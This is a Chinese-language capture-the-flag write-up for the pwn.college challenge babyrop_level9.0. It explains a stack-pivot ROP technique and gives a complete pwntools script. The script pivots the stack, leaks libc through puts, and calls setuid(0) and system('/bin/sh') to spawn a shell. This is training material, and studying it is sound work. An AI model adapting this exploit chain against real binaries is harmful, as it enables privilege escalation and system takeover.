题目简介
需要我们用栈跃迁的方法去执行我们的ROP链
漏洞点分析
第一步依然是chekcsec,看到只开启了NX保护,说明要用ROP了
再用IDA逆向一下,看到在challenge函数中,会将输入存在0x4140E0的位置,并且只复制输入的前24个字节到缓冲区

从这里就可以看出来,想把完整的ROP链布置到栈上是不可能了,因此漏洞点在于将启动ROP链的少部分代码写在最前面,通过启动代码把rsp的指向转移到完整的ROP链上
漏洞点利用
首先依然是ROPgadget命令获取必要碎片的地址,一般是pop rdi等传参需要的,参考pwn.college题解:ROP-level-4
最后,参考串联梳理:Pwn-Exp中介绍的栈跃迁原理就可以写出下面的利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * targetELF="/challenge/babyrop_level9.0" libc_path = "/lib/x86_64-linux-gnu/libc.so.6" offset=72 context(os='linux', arch='x86_64',log_level='debug', terminal=['tmux', 'splitw', '-h'])
p = process(targetELF)
elf=ELF(targetELF) libc = ELF(libc_path) rop = ROP(elf)
leave_addr=0x4016ab pop_rbp_addr=0x40129d pop_rdi_addr=0x401c33 ret =0x40101a gotAddr=elf.got["puts"] pltAddr=elf.plt["puts"] startAddr=elf.symbols["_start"]
addrLeakPayload =p64(pop_rbp_addr)+p64(0x4140f0)+p64(leave_addr)+p64(pop_rdi_addr)+p64(gotAddr)+p64(pltAddr)+p64(startAddr)
p.recv() p.send(addrLeakPayload) p.recvuntil("Leaving!\n") realAddr=u64(p.recv(6).ljust(8,b'\x00'))
libcBase=realAddr-0x84420
sysAddr = libcBase + 0x52290
setuidAddr = libcBase + 0xe4150
binshAddr = libcBase + 0x1b45bd
shellPayload=p64(pop_rbp_addr)+p64(0x4140f0)+p64(leave_addr)+ p64(pop_rdi_addr) + p64(0) + p64(setuidAddr) + p64(pop_rdi_addr) + p64(binshAddr) + p64(sysAddr)
p.recv() p.send(shellPayload) p.recv()
p.interactive()
|
